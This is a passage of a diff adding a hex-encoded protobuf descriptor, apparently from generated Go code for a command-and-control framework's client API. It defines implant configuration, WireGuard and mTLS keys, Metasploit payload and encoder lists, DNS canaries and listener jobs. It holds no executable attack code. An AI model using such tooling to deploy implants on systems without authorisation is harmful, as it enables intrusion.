+ 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x4d, 0x44, 0x35,
+ 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x4d, 0x44, 0x35, 0x12, 0x12, 0x0a, 0x04, 0x53,
+ 0x48, 0x41, 0x31, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x53, 0x48, 0x41, 0x31, 0x12,
+ 0x16, 0x0a, 0x06, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52,
+ 0x06, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65,
+ 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12,
+ 0x1c, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01,
+ 0x28, 0x04, 0x52, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x12, 0x28, 0x0a,
+ 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44,
+ 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
+ 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44, 0x12, 0x2e, 0x0a, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65,
+ 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x09, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75,
+ 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x50,
+ 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d,
+ 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x26, 0x0a,
+ 0x0e, 0x50, 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18,
+ 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x50, 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61,
+ 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x36, 0x0a, 0x16, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62,
+ 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18,
+ 0x0c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x16, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69,
+ 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x38, 0x0a,
+ 0x17, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50,
+ 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x17,
+ 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75,
+ 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x13, 0x50, 0x65, 0x65, 0x72, 0x50,
+ 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x44, 0x69, 0x67, 0x65, 0x73, 0x74, 0x18, 0x0e,
+ 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63,
+ 0x4b, 0x65, 0x79, 0x44, 0x69, 0x67, 0x65, 0x73, 0x74, 0x12, 0x2a, 0x0a, 0x10, 0x57, 0x47, 0x49,
+ 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x18, 0x0f, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72,
+ 0x69, 0x76, 0x4b, 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x53, 0x65, 0x72, 0x76, 0x65,
+ 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x57,
+ 0x47, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x0a,
+ 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, 0x18, 0x11, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, 0x12, 0x1a, 0x0a,
+ 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, 0x74, 0x18, 0x12, 0x20, 0x01, 0x28, 0x09, 0x52,
+ 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4d, 0x74, 0x6c,
+ 0x73, 0x4b, 0x65, 0x79, 0x18, 0x13, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4d, 0x74, 0x6c, 0x73,
+ 0x4b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x67, 0x65, 0x18, 0x14, 0x20, 0x01,
+ 0x28, 0x08, 0x52, 0x05, 0x53, 0x74, 0x61, 0x67, 0x65, 0x22, 0x6c, 0x0a, 0x0e, 0x43, 0x6f, 0x6d,
+ 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x47,
+ 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12,
+ 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52,
+ 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61,
+ 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
+ 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52,
+ 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x22, 0x85, 0x01, 0x0a, 0x0d, 0x43, 0x72, 0x6f, 0x73,
+ 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x72,
+ 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x54,
+ 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x22, 0x0a, 0x0c, 0x54, 0x61, 0x72,
+ 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52,
+ 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x16, 0x0a,
+ 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x43,
+ 0x43, 0x50, 0x61, 0x74, 0x68, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, 0x74, 0x68,
+ 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, 0x74, 0x68, 0x22,
+ 0xf5, 0x01, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04,
+ 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53,
+ 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67,
+ 0x65, 0x74, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72,
+ 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e,
+ 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x04,
+ 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43,
+ 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x12, 0x48, 0x0a,
+ 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x54, 0x61, 0x72, 0x67,
+ 0x65, 0x74, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72,
+ 0x67, 0x65, 0x74, 0x52, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64,
+ 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x22, 0x7e, 0x0a, 0x10, 0x4d, 0x65, 0x74, 0x61, 0x73,
+ 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e,
+ 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12,
+ 0x1a, 0x0a, 0x08, 0x46, 0x75, 0x6c, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x08, 0x46, 0x75, 0x6c, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44,
+ 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a,
+ 0x07, 0x51, 0x75, 0x61, 0x6c, 0x69, 0x74, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07,
+ 0x51, 0x75, 0x61, 0x6c, 0x69, 0x74, 0x79, 0x22, 0xce, 0x01, 0x0a, 0x12, 0x4d, 0x65, 0x74, 0x61,
+ 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x18,
+ 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52,
+ 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x46, 0x6f, 0x72, 0x6d,
+ 0x61, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x46, 0x6f, 0x72, 0x6d, 0x61,
+ 0x74, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x72, 0x63, 0x68, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28,
+ 0x09, 0x52, 0x05, 0x41, 0x72, 0x63, 0x68, 0x73, 0x12, 0x36, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f,
+ 0x64, 0x65, 0x72, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69,
+ 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74,
+ 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73,
+ 0x12, 0x36, 0x0a, 0x08, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x18, 0x05, 0x20, 0x03,
+ 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65,
+ 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x52, 0x08,
+ 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x22, 0x1f, 0x0a, 0x09, 0x44, 0x65, 0x6c, 0x65,
+ 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xd7, 0x01, 0x0a, 0x09, 0x44, 0x4e,
+ 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61,
+ 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d,
+ 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d,
+ 0x61, 0x69, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69,
+ 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, 0x04,
+ 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12,
+ 0x26, 0x0a, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65,
+ 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72,
+ 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73,
+ 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d,
+ 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x14, 0x0a,
+ 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x43, 0x6f,
+ 0x75, 0x6e, 0x74, 0x22, 0x3b, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12,
+ 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28,
+ 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53,
+ 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73,
+ 0x22, 0x1c, 0x0a, 0x0a, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x0e,
+ 0x0a, 0x02, 0x49, 0x50, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x50, 0x22, 0x65,
+ 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65,
+ 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44,
+ 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04,
+ 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x03,
+ 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43,
+ 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x47, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74,
+ 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x66,
+ 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69,
+ 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f,
+ 0x66, 0x69, 0x6c, 0x65, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x22, 0x31,
+ 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12,
+ 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01,
+ 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d,
+ 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18,
+ 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d,
+ 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a,
+ 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12,
+ 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x04, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x50,
+ 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12,
+ 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x09,
+ 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f,
+ 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b,
+ 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2d, 0x0a, 0x04, 0x4a,
+ 0x6f, 0x62, 0x73, 0x12, 0x25, 0x0a, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20,
+ 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a,
+ 0x6f, 0x62, 0x52, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x22, 0x1c, 0x0a, 0x0a, 0x4b, 0x69,
+ 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01,
+ 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d, 0x52, 0x65, 0x73, 0x74,
+ 0x61, 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x4a, 0x6f, 0x62,
+ 0x49, 0x44, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x06, 0x4a, 0x6f, 0x62, 0x49, 0x44,
+ 0x73, 0x22, 0x33, 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02,
+ 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07,
+ 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53,
+ 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0xda, 0x02, 0x0a, 0x0b, 0x4c, 0x69, 0x73, 0x74, 0x65,
+ 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02,
+ 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f,
+ 0x62, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44,
+ 0x12, 0x35, 0x0a, 0x08, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x04, 0x20, 0x01,
+ 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x54,
+ 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x08, 0x4d,
+ 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x2f, 0x0a, 0x06, 0x57, 0x47, 0x43, 0x6f, 0x6e,
+ 0x66, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
+ 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71,
+ 0x52, 0x06, 0x57, 0x47, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x32, 0x0a, 0x07, 0x44, 0x4e, 0x53, 0x43,
+ 0x6f, 0x6e, 0x66, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72,
+ 0x52, 0x65, 0x71, 0x52, 0x07, 0x44, 0x4e, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x35, 0x0a, 0x08,
+ 0x48, 0x54, 0x54, 0x50, 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19,
+ 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69,
+ 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x08, 0x48, 0x54, 0x54, 0x50, 0x43,
+ 0x6f, 0x6e, 0x66, 0x12, 0x3e, 0x0a, 0x09, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x43, 0x6f, 0x6e, 0x66,
+ 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x62, 0x2e, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x61, 0x79, 0x65, 0x72, 0x4c, 0x69, 0x73,
